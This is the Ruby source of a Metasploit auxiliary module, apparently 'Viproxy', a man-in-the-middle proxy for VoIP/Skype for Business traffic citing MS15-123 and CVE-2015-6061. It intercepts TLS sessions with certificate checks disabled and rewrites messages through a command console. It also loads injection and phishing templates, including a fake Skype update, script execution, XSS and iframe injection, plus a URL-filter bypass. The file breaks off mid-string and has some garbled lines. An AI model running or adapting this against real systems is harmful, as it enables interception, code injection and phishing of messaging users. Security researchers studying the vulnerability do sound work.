## # Current source: http://viproy.com ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super( 'Name' => 'Viproxy MITM proxy', 'Version' => '3.0', 'Description' => 'Viproxy VoIP MITM proxy with TCP/TLS support.', 'License' => 'GPL', 'Actions' => [ [ 'Service' ] ], 'PassiveActions' => [ 'Service' ], 'DefaultAction' => 'Service', 'Author' => 'fozavci', # viproy.com/fozavci 'References' => [ ['MSB', 'MS15-123'], ['CVE', '2015-6061' ], ], ) register_options( [ OptString.new('ATTACKURL', [ true, "Attack URL for injections", "http://www.viproy.com"]), OptString.new('RHOST', [ true, "Destination IP Address", nil]), OptString.new('RPORT', [ true, "Destination Port", nil]), OptBool.new('SSL', [ true, 'Negotiate SSL for proxy connections', true]), OptString.new('LOGFILE', [ false, "Log file for content"]), OptPath.new('REPLACEFILE', [ false, "File for find/replace definitions"]), ], self.class) register_advanced_options( [ OptString.new('RTFCONTENT', [ false, "RTF content for messaging"]), ], self.class) end def setup super # Variables $attackurl = datastore['ATTACKURL'] $rtfcontent = datastore['RTFCONTENT'] @logfname = datastore['LOGFILE'] @connected_backends = {} @monitoringthreads = {} @errors = {} @command_sockets = {} @subject_table = {} $header_table = [] $headertoremove_table = [] $endpoints = "" $content_length_update = true @recorded_requests = {} @recording_cont = false replacement_vars message_vars # Loading pre-defined attacks loadtheattacks() # Loading the replacements set_replacefile(datastore['REPLACEFILE']) if datastore['REPLACEFILE'] end # Message variables def message_vars $message_table = {} $message_table["BCK"] = {} $message_table["CLI"] = {} end # Replacement variables def replacement_vars $replacement_table = {} $replacement_table["BCK"] = {} $replacement_table["CLI"] = {} end def run print_status("Sample magic words for messages: \n\tfakeskypeupdate \n\tscriptexec \n\tscriptexecwithbypass \n\txssalert \n\tboguscontenttype1 \n\tboguscontenttype2 \n\tiframeinjection \n\timageinjection") start_service # Wait for the service while service Rex::ThreadSafe.sleep(0.5) end stop_service end #Handling the client connections def on_client_connect(c) begin # handle the client #vprint_status("#{c.peerhost}:#{c.peerport} is connected.") # connect to the backend connect_to_backend(c) # start monitoring on the backend IO #vprint_status("Monitoring thread is calling for #{c.peerhost}") monitoring_thread(c) # recieve data from the client on_client_data(c) rescue ::Exception => e print_error(e.message) end end # Starting a monitoring thread def monitoring_thread(c) @monitoringthreads[c] = framework.threads.spawn("Monitor #{c.peerhost}:#{c.peerport}", false) { monitor_socket(c) } end # Getting a backend socket def get_backend_sock sock = Rex::Socket::Tcp.create( 'PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['RPORT'], 'SSL' => datastore['SSL'], 'SSLVerifyMode' => 'NONE', ) return sock end # Connect to the backend service def connect_to_backend(c) @errors[c] = 0 begin @connected_backends[c] = get_backend_sock #vprint_status("The remote backend socket is connected for #{c.peerhost}:#{c.peerport}.") rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e print_error("The remote backend socket couldn't be connected: #{e.message}") end end # Monitor for the backend socket def monitor_socket(c) #vprint_status("Monitor is starting for #{c.peerhost}") if @connected_backends[c].nil? or @connected_backends[c].closed? s = @connected_backends[c] = get_backend_sock else s = @connected_backends[c] end begin while ! (c.closed? or s.closed?) rds = [s] wds = [] eds = [s] r,w,e = ::IO.select(rds,wds,eds,1) if (r != nil and r[0] == s) buf = s.read(30000) if ! buf.nil? vprint_status("Data received from the backend:\n#{buf}") # Search and replace point for the backend buf = update_message(buf,"BCK") if $headertoremove_table != [] or $message_table["BCK"] != {} or $replacement_table["BCK"] != {} # Compression should be disabled buf.gsub!("Compression: LZ77-8K","Compression: None") logwrite(buf,"#{s.peerhost}:#{s.peerport}") if ! @logfname.nil? c.write(buf) end end end #vprint_status('Monitor is stoping') c.close s.close rescue IOError, ::Rex::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e print_error("The remote backend socket is terminated with \"#{e.message}\"") @connected_backends[c] = nil rescue ::Exception => e print_error("Monitor error occoured for #{c.peerhost} => #{e.message}") clear_sessions(c) end end # Command socket banner def command_help msg = "Command socket is enabled, please use commands as below:\n\n" msg << "REPLACE|CLI|contenttofind|contenttoreplace\n" msg << "INVITESUBJECT|\n" msg << "MESSAGE|CLI|find123|text/html|contenttobereplaced\n" msg << "MESSAGE|CLI|customrtfinject|text/rtf|filepath\n" msg << "FLUSHMESSAGES\n" msg << "FLUSHREPLACES\n" msg << "FLUSHSUBJECT\n\n" return msg end # Request parsing to create templates def req_parsing(buf) return if buf.nil? reqtype = buf.split(" ")[0] if @recording_cont != false vprint_status("Request continued is detected") @recorded_requests[@recording_cont.split("|")[0]] << buf if buf.length < @recording_cont.split("|")[1].to_i @recording_cont = "#{reqtype}|#{@recording_cont.split("|")[1].to_i-buf.length}" vprint_status("Recording is open for #{reqtype}|#{@recording_cont.split("|")[1].to_i-buf.length} chars!") else @recording_cont = false end return end case reqtype when /BENOTIFY|BYE|ACK|OPTIONS|NEGOTIATE|NOTIFY|REGISTER|SIP|SERVICE|SUBSCRIBE|PHRACK/ vprint_status("Request type is not getting recorded : #{reqtype}") when /INVITE|MESSAGE/ vprint_status("Request type #{reqtype} is getting recorded.") # clonning the original headers in case of updates if(buf =~ /^Content-Length:\s+(.*)$/) parsed_cl = $1.strip.to_i vprint_status("Content Length parsed is #{parsed_cl}") end reqcontentlength=buf.split("\r\n\r\n")[1..1000].join("\r\n\r\n").length vprint_status("Content Length calculated is #{reqcontentlength}") if reqcontentlength < parsed_cl @recording_cont = "#{reqtype}|#{parsed_cl-reqcontentlength}" vprint_status("Recording is open for #{reqtype}|#{parsed_cl-reqcontentlength}") end @recorded_requests[reqtype] = buf vprint_status("Content is recorded.") else vprint_status("Request is continuing...") end vprint_status("Request parsing is finished") return end # Handle the data from the client def on_client_data(c) if @connected_backends[c].nil? or @connected_backends[c].closed? monitoring_thread(c) Rex::ThreadSafe.sleep(1) end begin buf=c.read(30000) return if buf.nil? # Compression should be disabled buf.gsub!("Compression: LZ77-8K","Compression: None") process_client_data(c,buf) rescue Errno::EPIPE => e print_error("The remote backend socket is terminated with \"#{e.message}\"") vprint_status("The client connection is also terminating, the last data from the client:\n#{buf}") clear_sessions(c) # killing the threads @monitoringthreads.each {|c,t| t.kill} rescue ::Exception => e print_error("Client data recieved, but an error occoured #{c.peerhost}:#{c.peerport} => #{e.message}") print_error("Client socket #{c}") print_error("Backend socket #{@connected_backends[c]}") print_error("Backend status #{@connected_backends[c].closed?}") print_error("Client status #{c.closed?}") clear_sessions(c) # killing the threads @monitoringthreads.each {|c,t| t.kill} end end def process_client_data(c,buf) if ! @connected_backends[c].nil? and ! @connected_backends[c].closed? if buf =~ /^(V|v)iproxy/ or @command_sockets[c] == true if @command_sockets[c].nil? c.write(command_help) @command_sockets[c] = true else vprint_status("Command received from the command console!") viproxy_command(c,buf) end else #vprint_status("This is a VoIP client!") #vprint_status("Data recieved:\n#{buf}") # Parser is calling to capture samples #vprint_status("Parser is calling to capture samples!") req_parsing(buf) # Subject updates buf = update_subject(buf) if @subject_table != {} and buf =~ /INVITE sip/ # Search and replace point for the client #vprint_status("Search and replace point for the client!") buf = update_message(buf,"CLI") if $header_table != [] or $message_table["CLI"] != {} or $replacement_table["CLI"] != {} #vprint_status("Logging starts!") logwrite(buf,"#{c.peerhost}:#{c.peerport}") if ! @logfname.nil? @connected_backends[c].write(buf) #vprint_status("Data processed successfully!") end else #vprint_status("#{c.peerhost}:#{c.peerport} is connected, but sending no data.") Rex::ThreadSafe.sleep(2) if @errors[c] > 1 print_status("Due to the inactivity, the backend monitor is stoping for #{c.peerhost}:#{c.peerport}.") clear_sessions(c) @errors[c] = 0 else @errors[c] += 1 end if c.closed? or @connected_backends[c].nil? or @connected_backends[c].closed? #vprint_status("Monitor thread is stopping for #{c.peerhost}:#{c.peerport}") clear_sessions(c) end end end # Handling the Viproxy commands def viproxy_command(c,command) @monitoringthreads[c].kill if @monitoringthreads[c].alive? return if command.nil? or command == "\n" print_status("Command recieved from the console:\n#{command}") begin case command.split("|")[0].upcase when /^ENDPOINTS/ begin fix1 = command.split("|")[1] start = command.split("|")[2].to_i t = command.split("|")[3].to_i fix2 = command.split("|")[4].chop ep = "Endpoints:" t.times {|i| ep << " <#{fix1}#{start+i}#{fix2}>," } $header_table << ep.chop c.write("\nEndpoints are added to the headers table.\n#{ep}\n") rescue c.write("Endpoint definition couldn't parse! Define the endpoints like the following;\nENDPOINTS|fix1|startnumber|countforloop|fix2\n\n") end when /^PRINTINVITE/ if @recorded_requests["INVITE"] c.write("The last INVITE recorded:\n#{@recorded_requests["INVITE"]}\n") else c.write("No recorded INVITE detected.\n") end when /^RESENDINVITE/ if @recorded_requests["INVITE"] c.write("The last INVITE is resending.\n") msg = @recorded_requests["INVITE"] msg.gsub!() @connected_backends[c].write(msg) c.write("The last INVITE resent.\n") else c.write("No recorded INVITE detected.\n") end when /^PRINTMESSAGE/ if @recorded_requests["MESSAGE"] c.write("The last MESSAGE recorded:\n#{@recorded_requests["MESSAGE"]}\n") else c.write("No recorded MESSAGE detected.\n") end when /^FLUSHHEADERS/ $header_table = [] $headertoremove_table = [] c.write("Custom headers are cleaned.\n\n") when /^REMOVEHEADER/ hremove = Regexp.new command.split("|")[1].chop $headertoremove_table << hremove c.write("Header to be removed is added.\t#{hremove}\n\n") when /^PRINTHEADERS/ c.write("Custom headers in progress.\n") $header_table.each {|h| c.write("#{h}\n")} c.write("\n") when /^PRINTREPLACES/ c.write("Replacements in progress.\n") $replacement_table.each {|d,table| c.write("#{d} replacements:\n") table.each {|r,str| c.write("#{r} => #{str}\n") } } c.write("\n") when /^REPLACEFILE/ f = command.split("|")[1].chop c.write("Replace file is loading.\n\n") set_replacefile(f) when /^FLUSHSUBJECT/ @subject_table = {} c.write("Subject changing is clean.\n\n") when /^FLUSHREPLACES/ replacement_vars c.write("Replacemet table is cleaned.\n") when /^FLUSHMESSAGES/ message_vars c.write("Message table is cleaned.\n") when /^REPLACE/ d = command.split("|")[1] s = command.split("|")[2] v = command.split("|")[3..1000].join("|") v = simplefuzz(v) if v =~ /FUZZ/ v.chop! if v[v.length-1] == "\n" print_status("Replacement update is calling for #{s} => #{v}\n\n") msg=update_replaces(d,s,v) vprint_status(msg) c.write(msg) when /^CLUPDATE/ cu = command.split("|")[1] case cu when /true/ $content_length_update = true c.write("Content-Length update is enabled.\n") when /false/ $content_length_update = false c.write("Content-Length update is disabled.\n") else c.write("Use CLUPDATE|true or CLUPDATE|false\n") end when /^MESSAGE/ d = command.split("|")[1] s = Regexp.new command.split("|")[2] mraw = command.split("|")[3].gsub("\n","") mtype = command.split("|")[3] m = command.split("|")[4..1000].join("|") m.chop! if m[m.length-1] == "\n" print_status("Message is #{mtype} => #{m}") m = IO.read(m) if s == /customrtfinject/ # message table is updating if d == "BOTH" $message_table["CLI"][s] = [mtype,m] $message_table["BCK"][s] = [mtype,m] else $message_table[d][s] = [mtype,m] end vprint_status("Message table is updated.\n\n") c.write("Message table is updated.\n\n") when /^BYPASSURLFILTER/ d = command.split("|")[1] s = Regexp.new command.split("|")[2] mtype = "text/html" url = command.split("|")[3].gsub("\n","") m = urlbypass(url) print_status("Message is #{mtype} => #{m}") # message table is updating if d == "BOTH" $message_table["CLI"][s] = [mtype,m] $message_table["BCK"][s] = [mtype,m] else $message_table[d][s] = [mtype,m] end vprint_status("Message table is updated.\n\n") c.write("Message table is updated #{$message_table}.\n\n") when /^INVITESUBJECT/ s = command.split("|")[1].gsub("\n","") s = simplefuzz(s) if s =~ /FUZZ/ stext,shtml,srtf = subject_prep(s) c.write("Subject changing is in progress.\n\n") @subject_table = { "stext" => stext, "shtml" => shtml, "srtf" => srtf } when /^CUSTOMHEADER/ header = command.split("|")[1].chop header = simplefuzz(header) if header =~ /FUZZ/ $header_table << header c.write("Header is added.\n#{header}\n\n") else c.write("Command not found.\n") end rescue ::Exception => e c.write("Command couldn't be parsed, the command separator is | #{e}\n\n") c.write(command_help) print_error("Command couldn't be parsed, the command separator is |\n\n") end end # URL bypass fix def urlbypass(url) if url.split(".")[0] == "www" sc = 'o="w"; k="."; i=""; u4=i.concat(o,o,o,k)' url=url.split(".")[1..1000].join(".") else sc = 'u4=""' end if url =~ /https/ ssl = ":s//" else ssl = "://" end url="' return url end # Simple fuzzing def simplefuzz(buf) head = buf.split("FUZZ ")[0] count = buf.split("FUZZ ")[1].split(" ")[0].to_i value = "A" * count buf.gsub!("FUZZ #{count}",value) return buf end # subject preparation def subject_prep(s) srtf = "{\\rtf1\\ansi\\ansicpg1252\\cocoartf1348\\cocoasubrtf170\n" srtf << "\\cocoascreenfonts1{\\fonttbl\\f0\\fnil\\fcharset0 LucidaGrande;}\n" srtf << "{\\colortbl;\\red255\\green255\\blue255;\\red0\\green0\\blue0;}\n" srtf << "\\deftab720\n" srtf << "\\pard\\pardeftab720\n\n" srtf << "\\f0\\fs20 \\cf2 \\expnd0\\expndtw0\\kerning0" srtf << "\\outl0\\strokewidth0 \\strokec2 #{s}}" stext = Rex::Text.encode_base64(s, delim='') shtml = Rex::Text.encode_base64(s, delim='') srtf = Rex::Text.encode_base64(srtf, delim='') return stext,shtml,srtf end # Loading attack and phishing templates def loadtheattacks() $message_table["CLI"][Regexp.new "fakeskypeupdate"]=["text/html", "